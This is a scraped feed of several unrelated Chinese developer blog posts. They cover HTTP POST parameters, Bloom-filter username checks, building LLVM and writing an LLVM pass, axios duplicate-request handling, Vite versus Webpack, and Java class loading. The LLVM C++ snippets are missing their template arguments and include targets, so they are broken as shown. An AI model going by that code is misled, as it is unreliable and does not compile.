
神奇小方法



有什么不对和更好的方法可以留言哦


作者:乐观的用户
来源:juejin.cn/post/7345107078904922164
收起阅读 »

别再这么写POST请求了~

       大家好,我是石头~        今天在进行组内code review,发现有一位同学在使用POST方式进行接口调用传参的时候,并不是按照HTTP规范,将参数写入到请求体中进行传输,而是拼接到接口URL上面。        那么,POST请求,是...
继续阅读 »

       大家好,我是石头~


       今天在进行组内code review,发现有一位同学在使用POST方式进行接口调用传参的时候,并不是按照HTTP规范,将参数写入到请求体中进行传输,而是拼接到接口URL上面。


       那么,POST请求,是否适宜将参数拼接到URL中呢?


图片


POST请求与参数传递的标准机制


       在讨论这个问题之前,我们先了解一下POST请求参数传递的正确方式是怎样的?


       按照HTTP协议规定,POST请求主要服务于向服务器提交数据的操作,这类数据通常包含表单内容、文件上传等。标准实践中,这些数据应封装于请求体(Request Body)内,而非附加在URL上。这是出于POST请求对数据容量和安全性的考量,URL因其长度限制和透明性特点并不适合作为大型或敏感数据的载体。


图片


URL参数拼接的风险


       从上所述,URL参数拼接并不是POST请求参数传递的正确方式,但是既然这样做也是可以正常进行请求的,对方服务端也能正常获取到参数,那么,URL参数拼接又有什么风险?



  • URL长度限制:URL长度并非无限制,大多数浏览器和服务器都有最大长度限制,一般在2000字符左右,若参数过多或过大,可能导致URL截断,进而使服务端无法完整接收到所有参数

  • 安全性隐患:将参数拼接到URL中,可能导致敏感信息泄露,如密码、密钥等。此外,URL中的参数容易被浏览器历史记录、缓存、代理服务器等记录,增加了信息泄露的风险

  • 不符合HTTP规范:POST请求通常将数据放在请求体中,而非URL中,违反这一规范可能导致与某些服务器或中间件的兼容性问题。


图片


POST传参正确写法


       以下是一个使用Java的HttpURLConnection发送Post请求并将数据放在请求体中的示例:


import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class PostRequestExample {

public static void sendPostRequest(String requestUrl, String postData) throws Exception {
URL url = new URL(requestUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置请求头,表明请求体的内容类型

connection.setDoOutput(true); // 表示要向服务器写入数据
try (OutputStream os = connection.getOutputStream()) {
byte[] input = postData.getBytes("UTF-8"); // 将参数转换为字节数组,此处假设postData是已编码好的参数字符串
os.write(input, 0, input.length); // 将参数写入请求体
}

int responseCode = connection.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK) {
// 处理响应...
} else {
// 错误处理...
}
}

public static void main(String[] args) throws Exception {
String requestUrl = "http://example.com/api/endpoint";
String postData = "param1=value1&param2=value2"; // 参数以键值对的形式编码
sendPostRequest(requestUrl, postData);
}
}

作者:石头聊技术
来源:juejin.cn/post/7341952374368108583
收起阅读 »

面试官问,如何在十亿级别用户中检查用户名是否存在?

前言不知道大家有没有留意过,在使用一些app注册的时候,提示你用户名已经被占用了,需要更换一个,这是如何实现的呢?你可能想这不是很简单吗,去数据库里查一下有没有不就行了吗,那么假如用户数量很多,达到数亿级别呢,这又该如何是好?数据库方案第一种方案就是查数据库的...
继续阅读 »

前言

不知道大家有没有留意过,在使用一些app注册的时候,提示你用户名已经被占用了,需要更换一个,这是如何实现的呢?你可能想这不是很简单吗,去数据库里查一下有没有不就行了吗,那么假如用户数量很多,达到数亿级别呢,这又该如何是好?

数据库方案

第一种方案就是查数据库的方案,大家都能够想到,代码如下:

public class UsernameUniquenessChecker {
private static final String DB_URL = "jdbc:mysql://localhost:3306/your_database";
private static final String DB_USER = "your_username";
private static final String DB_PASSWORD = "your_password";

public static boolean isUsernameUnique(String username) {
try (Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD)) {
String sql = "SELECT COUNT(*) FROM users WHERE username = ?";
try (PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username);
try (ResultSet rs = stmt.executeQuery()) {
if (rs.next()) {
int count = rs.getInt(1);
return count == 0; // If count is 0, username is unique
}
}
}
} catch (SQLException e) {
e.printStackTrace();
}
return false; // In case of an error, consider the username as non-unique
}

public static void main(String[] args) {
String desiredUsername = "new_user";
boolean isUnique = isUsernameUnique(desiredUsername);
if (isUnique) {
System.out.println("Username '" + desiredUsername + "' is unique. Proceed with registration.");
} else {
System.out.println("Username '" + desiredUsername + "' is already in use. Choose a different one.");
}
}
}

这种方法会带来如下问题:

  1. 性能问题,延迟高  如果数据量很大,查询速度慢。另外,数据库查询涉及应用程序服务器和数据库服务器之间的网络通信。建立连接、发送查询和接收响应所需的时间也会导致延迟。
  2. 数据库负载过高。频繁执行 SELECT 查询来检查用户名唯一性,每个查询需要数据库资源,包括CPU和I/O。
  1. 可扩展性差。数据库对并发连接和资源有限制。如果注册率继续增长,数据库服务器可能难以处理数量增加的传入请求。垂直扩展数据库(向单个服务器添加更多资源)可能成本高昂并且可能有限制。

缓存方案

为了解决数据库调用用户名唯一性检查的性能问题,引入了高效的Redis缓存。

public class UsernameCache {

private static final String REDIS_HOST = "localhost";
private static final int REDIS_PORT = 6379;
private static final int CACHE_EXPIRATION_SECONDS = 3600;

private static JedisPool jedisPool;

// Initialize the Redis connection pool
static {
JedisPoolConfig poolConfig = new JedisPoolConfig();
jedisPool = new JedisPool(poolConfig, REDIS_HOST, REDIS_PORT);
}

// Method to check if a username is unique using the Redis cache
public static boolean isUsernameUnique(String username) {
try (Jedis jedis = jedisPool.getResource()) {
// Check if the username exists in the Redis cache
if (jedis.sismember("usernames", username)) {
return false; // Username is not unique
}
} catch (Exception e) {
e.printStackTrace();
// Handle exceptions or fallback to database query if Redis is unavailable
}
return true; // Username is unique (not found in cache)
}

// Method to add a username to the Redis cache
public static void addToCache(String username) {
try (Jedis jedis = jedisPool.getResource()) {
jedis.sadd("usernames", username); // Add the username to the cache set
jedis.expire("usernames", CACHE_EXPIRATION_SECONDS); // Set expiration time for the cache
} catch (Exception e) {
e.printStackTrace();
// Handle exceptions if Redis cache update fails
}
}

// Cleanup and close the Redis connection pool
public static void close() {
jedisPool.close();
}
}

这个方案最大的问题就是内存占用过大,假如每个用户名需要大约 20 字节的内存。你想要存储10亿个用户名的话,就需要20G的内存。

总内存 = 每条记录的内存使用量 * 记录数 = 20 字节/记录 * 1,000,000,000 条记录 = 20,000,000,000 字节 = 20,000,000 KB = 20,000 MB = 20 GB

布隆过滤器方案

直接缓存判断内存占用过大,有没有什么更好的办法呢?布隆过滤器就是很好的一个选择。

那究竟什么布隆过滤器呢?

布隆过滤器Bloom Filter)是一种数据结构,用于快速检查一个元素是否存在于一个大型数据集中,通常用于在某些情况下快速过滤掉不可能存在的元素,以减少后续更昂贵的查询操作。布隆过滤器的主要优点是它可以提供快速的查找和插入操作,并且在内存占用方面非常高效。

具体的实现原理和数据结构如下图所示:

布隆过滤器的核心思想是使用一个位数组(bit array)和一组哈希函数。

  • 位数组(Bit Array) :布隆过滤器使用一个包含大量位的数组,通常初始化为全0。每个位可以存储两个值,通常是0或1。这些位被用来表示元素的存在或可能的存在。
  • 哈希函数(Hash Functions) :布隆过滤器使用多个哈希函数,每个哈希函数可以将输入元素映射到位数组的一个或多个位置。这些哈希函数必须是独立且具有均匀分布特性。

那么具体是怎么做的呢?

  • 添加元素:如上图所示,当将字符串“xuyang”,“alvin”插入布隆过滤器时,通过多个哈希函数将元素映射到位数组的多个位置,然后将这些位置的位设置为1。
  • 查询元素:当要检查一个元素是否存在于布隆过滤器中时,通过相同的哈希函数将元素映射到位数组的相应位置,然后检查这些位置的位是否都为1。如果有任何一个位为0,那么可以确定元素不存在于数据集中。但如果所有位都是1,元素可能存在于数据集中,但也可能是误判。

本身redis支持布隆过滤器的数据结构,我们用代码简单实现了解一下:

import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;

public class BloomFilterExample {
public static void main(String[] args) {
JedisPoolConfig poolConfig = new JedisPoolConfig();
JedisPool jedisPool = new JedisPool(poolConfig, "localhost", 6379);

try (Jedis jedis = jedisPool.getResource()) {
// 创建一个名为 "usernameFilter" 的布隆过滤器,需要指定预计的元素数量和期望的误差率
jedis.bfCreate("usernameFilter", 10000000, 0.01);

// 将用户名添加到布隆过滤器
jedis.bfAdd("usernameFilter", "alvin");

// 检查用户名是否已经存在
boolean exists = jedis.bfExists("usernameFilter", "alvin");
System.out.println("Username exists: " + exists);
}
}
}

在上述示例中,我们首先创建一个名为 "usernameFilter" 的布隆过滤器,然后使用 bfAdd 将用户名添加到布隆过滤器中。最后,使用 bfExists 检查用户名是否已经存在。

优点:

  • 节约内存空间,相比使用哈希表等数据结构,布隆过滤器通常需要更少的内存空间,因为它不存储实际元素,而只存储元素的哈希值。如果以 0.001 误差率存储 10 亿条记录,只需要 1.67 GB 内存,对比原来的20G,大大的减少了。
  • 高效的查找, 布隆过滤器可以在常数时间内(O(1))快速查找一个元素是否存在于集合中,无需遍历整个集合。

缺点:

  • 误判率存在:布隆过滤器在判断元素是否存在时,有一定的误判率。这意味着在某些情况下,它可能会错误地报告元素存在,但不会错误地报告元素不存在。
  • 不能删除元素:布隆过滤器通常不支持从集合中删除元素,因为删除一个元素会影响其他元素的哈希值,增加了误判率。

总结

Redis 布隆过滤器的方案为大数据量下唯一性验证提供了一种基于内存的高效解决方案,它需要在内存消耗和错误率之间取得一个平衡点。当然布隆过滤器还有更多应用场景,比如防止缓存穿透、防止恶意访问等。


作者:JAVA旭阳
来源:juejin.cn/post/7293786247655129129

收起阅读 »

编写LLVM Pass

iOS
的基础上,编写一个简单的LLVM Pass。在llvm-project-17.0.6.src/llvm/include/llvm/Transforms/SweetWound/目录下,新建ModuleTest.h文件,并写入如下代码:// ModuleTest....
继续阅读 »

上一篇的基础上,编写一个简单的LLVM Pass。

  1. llvm-project-17.0.6.src/llvm/lib/Transforms/目录下,新建一个文件夹SweetWound


  1. 在在llvm-project-17.0.6.src/llvm/include/llvm/Transforms/目录下,新建一个文件夹SweetWound


  1. Transforms目录下的CMakeLists.txt文件末尾,增加如下代码:

...
add_subdirectory(SweetWound)


  1. llvm-project-17.0.6.src/llvm/include/llvm/Transforms/SweetWound/目录下,新建ModuleTest.h文件,并写入如下代码:

// ModuleTest.h
#ifndef _LLVM_TRANSFORMS_SWEETWOUND_H_
#define _LLVM_TRANSFORMS_SWEETWOUND_H_
#include "llvm/Pass.h"
#include "llvm/IR/PassManager.h"
#include "llvm/IR/Module.h"

namespace llvm {
class ModuleTestPass : public PassInfoMixin {
public:
bool flag;
ModuleTestPass(bool flag) {
this->flag = flag;
}
PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM);
static bool isRequired() {
return true;
}
};
}

#endif


  1. llvm-project-17.0.6.src/llvm/lib/Transforms/SweetWound/目录下,创建ModuleTest.cpp文件,并写入如下代码:

// ModuleTest.cpp
#include "llvm/Transforms/SweetWound/ModuleTest.h"

using namespace llvm;

PreservedAnalyses ModuleTestPass::run(Module &M, ModuleAnalysisManager &AM) {
if (this->flag == true) {
outs() << "[SW]:" << M.getName() << "\n";
return PreservedAnalyses::none();
}
return PreservedAnalyses::all();
}


  1. llvm-project-17.0.6.src/llvm/lib/Transforms/SweetWound/目录下,创建CMakeLists.txt文件,并写入如下代码:

add_llvm_component_library(LLVMSweetWound
ModuleTest.cpp

LINK_COMPONENTS
Analysis
Core
Support
TransformUtils
)


  1. 修改llvm-project-17.0.6.src/llvm/lib/Passes/PassBuilder.cpp文件:

......
#include
//======================导入头文件======================//
#include "llvm/Transforms/SweetWound/ModuleTest.h"
......
// ======================增加编译参数 begin ======================//
static cl::opt s_sw_test("test", cl::init(false), cl::desc("test module pass."));
// ======================增加编译参数 end ========================//

PassBuilder::PassBuilder(TargetMachine *TM, PipelineTuningOptions PTO,
std::optional PGOOpt,
PassInstrumentationCallbacks *PIC)
: TM(TM), PTO(PTO), PGOOpt(PGOOpt), PIC(PIC) {
......
// 注册Pass
this->registerPipelineStartEPCallback(
[](llvm::ModulePassManager &MPM, llvm::OptimizationLevel Level) {
MPM.addPass(ModuleTestPass(s_sw_test));
}
);
}
  1. 重新执行编译脚本,成功后,替换LLVM17.0.6.xctoolchain文件。

  2. 在Xcode的Build Settings-->Other C Flags中,设置编译参数:-mllvm -test:


  1. Command + B编译(或Command + R运行):


可以看到每个编译单元都有对应的输出,即代表编写的LLVM Pass加载成功!!!
收起阅读 »

编译llvm源码

iOS
前往LLVM官网,下载LLVM17.0.6版本的源码:下载源码后,解压到任意目录:在llvm-project-17.0.6.src同级目录下,编写编译脚本build.sh:#!/bin/shpwd_path=`pwd`build_llvm=${pwd_path...
继续阅读 »
  1. 前往LLVM官网,下载LLVM17.0.6版本的源码

  1. 下载源码后,解压到任意目录:


  1. llvm-project-17.0.6.src同级目录下,编写编译脚本build.sh:

#!/bin/sh
pwd_path=`pwd`
build_llvm=${pwd_path}/build-llvm #编译目录
installprefix=${pwd_path}/install #install目录
llvm_project=${pwd_path}/llvm-project-17.0.6.src/llvm #项目目录

mkdir -p $build_llvm
mkdir -p $installprefix

cmake -G Ninja -S ${llvm_project} -B $build_llvm \
-DLLVM_ENABLE_PROJECTS="clang" \
-DLLVM_CREATE_XCODE_TOOLCHAIN=ON \
-DLLVM_INSTALL_UTILS=ON \
-DCMAKE_INSTALL_PREFIX=$installprefix \
-DCMAKE_BUILD_TYPE=Release

ninja -C $build_llvm install-xcode-toolchain


  1. 执行编译脚本:

$ chmod +x ./build.sh
$ ./build.sh

编译过程需要大约20分钟左右。

  1. 编译完成之后,即可在当前目录下的install目录下看到编译产物:



  1. LLVM17.0.6.xctoolchain文件复制到~/Library/Developer/Toolchains/目录下:


  1. 点击菜单栏Xcode——>Toolchains,选择org.llvm.17.0.6:



  1. 在Xcode的Build Settings中,关闭Enable Index-While-Building Functionality


  1. Command+B编译(或Command + R 运行):


收起阅读 »

接口防止重复调用方案

web
大家好,今天我向大家介绍对于接口防重复提交的一些方案,请笑纳! 重复调用同个接口导致的问题 表单提交,输入框失焦、按钮点击、值变更提交等容易遇到重复请求的问题,即一次请求还没有执行完毕,用户又点击了一次,这样重复请求可能会造成后台数据异常。又比如在查询数据的...
继续阅读 »

大家好,今天我向大家介绍对于接口防重复提交的一些方案,请笑纳!


重复调用同个接口导致的问题



  • 表单提交,输入框失焦、按钮点击、值变更提交等容易遇到重复请求的问题,即一次请求还没有执行完毕,用户又点击了一次,这样重复请求可能会造成后台数据异常。又比如在查询数据的时候点击了一次查询,还在处理数据的时候,用户又点击了一次查询。第一次查询执行完毕页面已经有数据展示出来了,用户可能正在看呢,此时第二次查询也处理完返回到前台把页面刷新了,就会造成很不好的体验。


解决方案



  • 1、利用防抖避免重复调用接口

  • 2、采用禁用按钮的方式,loading、置灰等

  • 3、利用axios的cancelToken、AbortController方法取消重复请求

  • 4、利用promise的三个状态改造方法3


方法1:利用防抖



效果:当用户连续点击多次同一个按钮,最后一次点击之后,过小段时间后才发起一次请求

原理:每次调用方法后都产生一个定时器,定时器结束以后再发请求,如果重复调用方法,就取消当前的定时器,创建新的定时器,等结束后再发请求,可以用第三方封装的工具函数例如lodash的debounce方法来简化防抖的代码



<div id="app">    
<button @click="onClick">请求</button>
</div>

methods: {
// 调用lodash的防抖方法debounce,实现连续点击按钮多次,0.3秒后调用1次接口
onClick: _.debounce(async function(){
let res = await sendPost({username:'zs', age: 20})
console.log('请求的结果', res.data)
}, 300),
},
// 自定义指令防抖,在directive文件中自定义v-debounce指令
<el-button v-debounce:500="buttonDebounce">按钮</el-button>


  • 优缺点:


      防抖可以有效减少请求的频率,防止接口重复调用,但是如果接口响应比较慢,
    响应时间超过防抖的时间阈值,再次点击也会出现重复请求 需要在触发事件加上防抖处理,不够通用



方法2:采用禁用按钮的方式



禁用按钮:在发送请求之前,禁用按钮(利用loading或者disabled属性),直到请求完成后再启用它。这可以防止用户在请求进行中多次点击按钮



<div id="app">    
<button @click="sendRequest" :loading="loading">请求</button>
</div>

methods: {
async sendRequest() {
this.loading = true; // 禁用按钮
try { // 发送请求
await yourApiRequestFunction(); // 请求成功后,启用按钮
} catch (error) { // 处理错误情况 }
finally {
this.loading = false; // 请求完成后,启用按钮
}
},
}


  • 优缺点:


      最有效避免请求还在pending状态时,再次触发事件发起请求  
    不够通用,需要在按钮、tab、输入框等触发事件的地方都加上



方法3:利用axios取消接口的api



axios 内部提供的 CancelToken 来取消请求(AxiosV0.22.0版本中把CancelToken打上 👎deprecated 的标记,意味废弃。与此同时,推荐 AbortController 来取而代之)

通过axios请求拦截器,在每次请求前把请求信息和请求的取消方法放到一个map对象当中,并且判断map对象当中是否已经存在该请求信息的请求,如果存在取消上次请求



const pendingRequest = new Map();

function generateReqKey(config) {
const { method, url, params, data } = config;
return [method, url, Qs.stringify(params), Qs.stringify(data)].join("&");
}

function addPendingRequest(config) {
const requestKey = generateReqKey(config);
config.cancelToken = config.cancelToken || new axios.CancelToken((cancel) => {
if (!pendingRequest.has(requestKey)) {
pendingRequest.set(requestKey, cancel);
}
});
}

function removePendingRequest(config) {
const requestKey = generateReqKey(config);
if (pendingRequest.has(requestKey)) {
const cancelToken = pendingRequest.get(requestKey);
cancelToken(requestKey);
pendingRequest.delete(requestKey);
}
}

// axios拦截器代码
axios.interceptors.request.use(
function (config) {
removePendingRequest(config); // 检查是否存在重复请求,若存在则取消已发的请求
addPendingRequest(config); // 把当前请求信息添加到pendingRequest对象中
return config;
},
(error) => {
return Promise.reject(error);`
}
);
axios.interceptors.response.use(
(response) => {
removePendingRequest(response.config); // 从pendingRequest对象中移除请求
return response;
},
(error) => {
removePendingRequest(error.config || {}); // 从pendingRequest对象中移除请求
if (axios.isCancel(error)) {
console.log("已取消的重复请求:" + error.message);
} else {
// 添加异常处理
}
return Promise.reject(error);
}
);

image.png



  • 优缺点:


      可以防止前端重复响应相同数据导致体验不好的问题  
    但是这个取消请求只是前端取消了响应,取消时请求已经发出去了,后端还是会一一收到所有的请求,该查库的查库,该创建的创建,针对这种情形,服务端的对应接口需要进行幂等控制



方法4:利用promise的pending、resolve、reject状态



此方法其实是对cancelToken方案的改造,cancelToken是在请求还在pending状态时,判断接口是否重复,重复则取消请求,但是无法保证服务端是否接收到了请求,我们只要改造这点,在发送请求前判断是否有重复调用,如果用重复调用接口,利用promise的reject拦截请求,在请求resolve或reject状态后清除用来判断是否是重复请求的key



// axios全局拦截文件
import axios from '@/router/interceptors
import Qs from '
qs'

const cancelMap = new Map()

// 生成key用来判断是否是同个请求
function generateReqKey(config = {}) {
const { method = '
get', url, params, data } = config
const _params = typeof params === '
string' ? Qs.stringify(JSON.parse(params)) : Qs.stringify(params)
const _data = typeof data === '
string' ? Qs.stringify(JSON.parse(data)) : Qs.stringify(data)`
const str = [method, url, _params, _data].join('
&')
return str
}

function checkoutRequest(config) {
const requestKey = generateReqKey(config)
// 如果设置允许多次重复请求,直接返回成功,让网络请求继续流通下去
if (!cancelMap.has(requestKey) || config._allowRepeatRequest) {
cancelMap.set(requestKey, 0)
return new Promise((resolve, reject) => {
axios(config).then(res => {
resolve(res)
}).catch(err => {
reject(err)
})
})
} else {
// 如果存在重复请求
return new Promise((resolve, reject) => {
reject(new Error())
})
}
}

// 移除已响应的请求,移除的时间可设置响应后延迟移除,此时间内可以继续阻止重复请求
export async function removeRequest(config = {}) {
const time = config._debounceTime || 0
const requestKey = generateReqKey(config)
if (cancelMap.has(requestKey)) {
// 延迟清空,防止快速响应时多次重复调用
setTimeout(() => {
cancelMap.delete(requestKey)
}, time)
}
}

export default checkoutRequest


// @/router/interceptors 拦截器代码
axios.interceptors.request.use(
function (config) {
return config;
},
(error) => {
removeRequest(error.config) // 从cancelMap中移除key
return Promise.reject(error)
}
);
axios.interceptors.response.use(
(response) => {
removeRequest(response.config) // 从cancelMap中移除key
return response;
},
(error) => {
removeRequest(error.config || {}) // 从cancelMap中移除key
return Promise.reject(error);
}
);

// 接口可以配置_allowRepeatRequest开启允许重复请求
return request({
url: '
xxxxxxx',
method: '
post',
data: data,
loading: false,
_allowRepeatRequest: true
})


  • 优缺点:


      此方法效果跟禁用按钮的效果一致,但是可以全局修改,方案比较通用



其他



或者也可以在请求时加个全局loading,但是感觉都不如上一种好



ps



针对可能上传文件使用formData的情况,需要在重复请求那再判断一下



以上是为大家介的四种方法,有更好的建议请评论区留言。


image.png


作者:写代码真是太难了
来源:juejin.cn/post/7344536653464191013
收起阅读 »

前端打包版本号自增

web
1.新建sysInfo.json文件 { "version": "20240307@1.0.1" } 2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件 //npm run build打包前执行此段代码 let f...
继续阅读 »

1.新建sysInfo.json文件


{
"version": "20240307@1.0.1"
}

2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件


//npm run build打包前执行此段代码
let fs = require('fs')

//返回package的json数据
function getPackageJson() {
let data = fs.readFileSync('./src/assets/json/sysInfo.json') //fs读取文件
return JSON.parse(data) //转换为json对象
}

let packageData = getPackageJson() //获取package的json
let arr = packageData.version.split('@') //切割后的版本号数组
let date = new Date()
const year = date.getFullYear()
let month = date.getMonth() + 1
let day = date.getDate()
month = month > 9 ? month : '0' + month
day = day < 10 ? '0' + day : day
let today = `${year}${month}${day}`
let verarr = arr[1].split('.')
verarr[2] = parseInt(verarr[2]) + 1
packageData.version = today + '@' + verarr.join('.') //转换为以"."分割的字符串
//用packageData覆盖package.json内容
fs.writeFile('./src/assets/json/sysInfo.json', JSON.stringify(packageData, null, '\t'), err => {
console.log(err)
})


3.package.json中配置


  "scripts": {
"dev": "vite",
"serve": "vite",
"build": "node ./src/addVersion.js && vite build",
....

4.使用


import sysInfo from '@/assets/json/sysInfo.json'

作者:点赞侠01
来源:juejin.cn/post/7343811223207624745
收起阅读 »

面试常问:为什么 Vite 速度比 Webpack 快?

web
 前言 最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。 原因...
继续阅读 »

 前言


最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。


原因


1、开发模式的差异


在开发环境中,Webpack 是先打包再启动开发服务器,而 Vite 则是直接启动,然后再按需编译依赖文件。(大家可以启动项目后检查源码 Sources 那里看到)


这意味着,当使用 Webpack 时,所有的模块都需要在开发前进行打包,这会增加启动时间和构建时间。


Vite 则采用了不同的策略,它会在请求模块时再进行实时编译,这种按需动态编译的模式极大地缩短了编译时间,特别是在大型项目中,文件数量众多,Vite 的优势更为明显。


Webpack启动



Vite启动



2、对ES Modules的支持


现代浏览器本身就支持 ES Modules,会主动发起请求去获取所需文件。Vite充分利用了这一点,将开发环境下的模块文件直接作为浏览器要执行的文件,而不是像 Webpack 那样先打包,再交给浏览器执行。这种方式减少了中间环节,提高了效率。


什么是ES Modules?


通过使用 exportimport 语句,ES Modules 允许在浏览器端导入和导出模块。


当使用 ES Modules 进行开发时,开发者实际上是在构建一个依赖关系图,不同依赖项之间通过导入语句进行关联。


主流浏览器(除IE外)均支持ES Modules,并且可以通过在 script 标签中设置 type="module"来加载模块。默认情况下,模块会延迟加载,执行时机在文档解析之后,触发DOMContentLoaded事件前。



3、底层语言的差异


Webpack 是基于 Node.js 构建的,而 Vite 则是基于 esbuild 进行预构建依赖。esbuild 是采用 Go 语言编写的,Go 语言是纳秒级别的,而 Node.js 是毫秒级别的。因此,Vite 在打包速度上相比Webpack 有 10-100 倍的提升。


什么是预构建依赖?


预构建依赖通常指的是在项目启动或构建之前,对项目中所需的依赖项进行预先的处理或构建。这样做的好处在于,当项目实际运行时,可以直接使用这些已经预构建好的依赖,而无需再进行实时的编译或构建,从而提高了应用程序的运行速度和效率。


4、热更新的处理


在 Webpack 中,当一个模块或其依赖的模块内容改变时,需要重新编译这些模块。


而在 Vite 中,当某个模块内容改变时,只需要让浏览器重新请求该模块即可,这大大减少了热更新的时间。


总结


总的来说,Vite 之所以比 Webpack 快,主要是因为它采用了不同的开发模式充分利用了现代浏览器的 ES Modules 支持使用了更高效的底层语言并优化了热更新的处理。这些特点使得 Vite在大型项目中具有显著的优势,能够快速启动和构建,提高开发效率。



作者:JacksonChen
来源:juejin.cn/post/7344916114204049445
收起阅读 »

面试官问我:自己写String类,包名也是java.lang,这个类能编译成功吗,能运行成功吗

之前某次面试,我说自己对Java比较熟,面试官问了我一个问题:假设你自己写一个String类,包名也是java.lang,代码里使用String的时候,这个String类能编译成功吗?能运行成功吗? 好了,我当时又是一脸懵逼o((⊙﹏⊙))o,因为我只是看了...
继续阅读 »

之前某次面试,我说自己对Java比较熟,面试官问了我一个问题:假设你自己写一个String类,包名也是java.lang,代码里使用String的时候,这个String类能编译成功吗?能运行成功吗?



好了,我当时又是一脸懵逼o((⊙﹏⊙))o,因为我只是看了些Java的面试题目,而且并没有涉及类加载方面的内容(ps:我是怎么敢说我对Java比较熟的)。


结论


先说结论:
能编译成功,但是运行会报错。因为加载String的时候根据双亲委派机制会默认加载jdk里的String。



  • 在自己写的String类中写main方法并运行,会报错找不到main方法。


public class String {
public int print(int a) {
int b = a;
return b;
}
public static void main(String[] args) {
new String().print(1);
}
}

上述代码运行报错如下:


错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为:
public static void main(String[] args)
否则 JavaFX 应用程序类必须扩展javafx.application.Application


  • 如果在其他类中尝试调用这个String类的方法,也调用不到,实际的结果是调用jdk中的String类的方法。


题目分析


这里涉及3个知识点:



  • Java代码的编译过程

  • Java代码的运行过程

  • 类加载器(详见文章:JVM:类加载器


image.png


以上3个内容基本上是涉及代码运行的整个流程了。接下来就结合实战操作一步步分析具体的过程。


Java代码的编译过程


平时我都是通过IDEA直接运行代码,都没注意过编译的过程。所以结合平时的操作说明一下编译的过程。


什么是Java的编译


Java的编译过程,是将.java源文件转换为.class字节码文件的过程。


如何将.java源文件编译成.class字节码文件



  1. IDEA工具中,点击BUILD按钮
    image.png

  2. 执行命令javac xx.java


如何查看字节码文件



  1. 如果我们直接用文本工具打开字节码文件,将会看到以下内容:


    image.png
    这是因为Class文件内部本质上是二进制的,用不同的工具打开看,展示的效果不一样。下图是用xx工具打开的class文件,展示的是十六进制格式,其实可以自己一点点翻译出来源码了。(class文件的这个二进制串,计算机是不能够直接读取并且执行的。也就是说,计算机看不懂,而我们的JVM解决了这个问题,JVM可以看作是一个翻译官,它可以看懂,而且它也知道计算机想要什么样子的二进制,所以它可以把Class文件的二进制翻译成计算机需要的样子)


    image.png


  2. 我们可以通过命令的方式将class文件反汇编成汇编代码。


    javap是JDK自带的反汇编器,可以查看java编译器为我们生成的字节码。


    javap -v xx.classjavap -c -l xx.class



字节码文件中包含哪些内容


这个有很多文章说了,可以自己搜索一下,也可以看我总结的文章:xxx(还没写)。


Java代码的运行过程


java类运行的过程大概可分为两个过程:1)类的加载;2)类的执行


需要说明的是:JVM主要在程序第一次主动使用类的时候,才会去加载该类。也就是说,JVM并不是在一开始就把一个程序就所有的类都加载到内存中,而是到不得不用的时候才把它加载进来,而且只加载一次。


类加载过程


Class文件需要加载到虚拟机中之后才能运行和使用。系统加载Class文件主要有3步:加载->连接->初始化。连接过程又可分为3步:验证->准备->解析


image.png
(图源:javaguide.cn


加载


类加载过程的第一步,主要完成3件事情:



  • 通过全类名获取定义此类的二进制字节流。

  • 将字节流所代表的静态存储结构转换为方法区的运行时数据结构

  • 在内存中生成一个代表该类的Class对象,作为方法区这些数据的访问入口。


加载这一步的操作主要是通过类加载器完成的。类加载器详情可参考文章:xxx。


每个Java类都有一个引用指向加载它的ClassLoader。不过数组类不是通过ClassLoader创建的,而是JVM在需要的时候自动创建的,数组类通过getClassLoader方法获取ClassLoader的时候和该数组的元素类型的ClassLoader是一致的。


一个非数组类的加载阶段(加载阶段获取类的二进制字节流的动作)是可控性最强的阶段,这一步我们可以去完成还可以自定义类加载器去控制字节流的获取方式(重写一个类加载器的loadClass()方法)。


加载阶段与连接阶段的部分动作(如一部分字节码文件格式验证动作)是交叉进行的,加载阶段尚未结束,连接阶段可能就已经开始了。


连接


验证


验证是连接阶段的第一步,这步的目的是为了保证Class文件的字节流中包含的信息符合《Java虚拟机规范》的全部约束要求,保证这些信息被当做代码运行后不会危害虚拟机的安全。


验证阶段所要耗费的资源相对还是多的,但验证阶段也不是必要的。如果程序运行的全部代码已经被反复使用和验证过,那在生产环境的实施阶段可以考虑使用-Xverify:none参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间。


验证阶段主要由4个检验阶段组成:



  • 文件格式验证。要验证字节流是否符合Class文件格式的规范,并且能被当前版本的虚拟机处理。比如以下验证点:



    • 是否以魔数CAFEBABE开头

    • 主、次版本号是否在当前Java虚拟机接收范围内

    • 常量池的常量是否有不被支持的常量类型

    • 。。。


    该阶段验证的主要目的是保证输入的字节流能够被正确地解析并存储于方法区。只有通过了这个阶段的验证之后,这段字节流才被允许进入Java虚拟机内存的方法区中存储。后面3个阶段的验证是在方法区的存储信息上进行的,不会再直接读取和操作字节流了。


  • 元数据验证。对字节码描述的信息进行语义分析,保证其描述的信息符合《Java语言规范》的要求。这个阶段可能包括的验证点如下:



    • 这个类是否有父类(除了Object类之外,所有的类都应该有父类)

    • 这个类or其父类是否继承了不允许继承的类(比如final修饰的类)

    • 如果这个类不是抽象类,是否实现了其父类或接口之中要求实现的所有方法。



  • 字节码验证。是整个验证过程中最复杂的,主要目的是通过分析字节码,判断字节码能否被正确执行。比如会验证以下内容:



    • 在字节码的执行过程中,是否会跳转到一条不存在的指令

    • 函数的调用是否传递了正确类型的参数

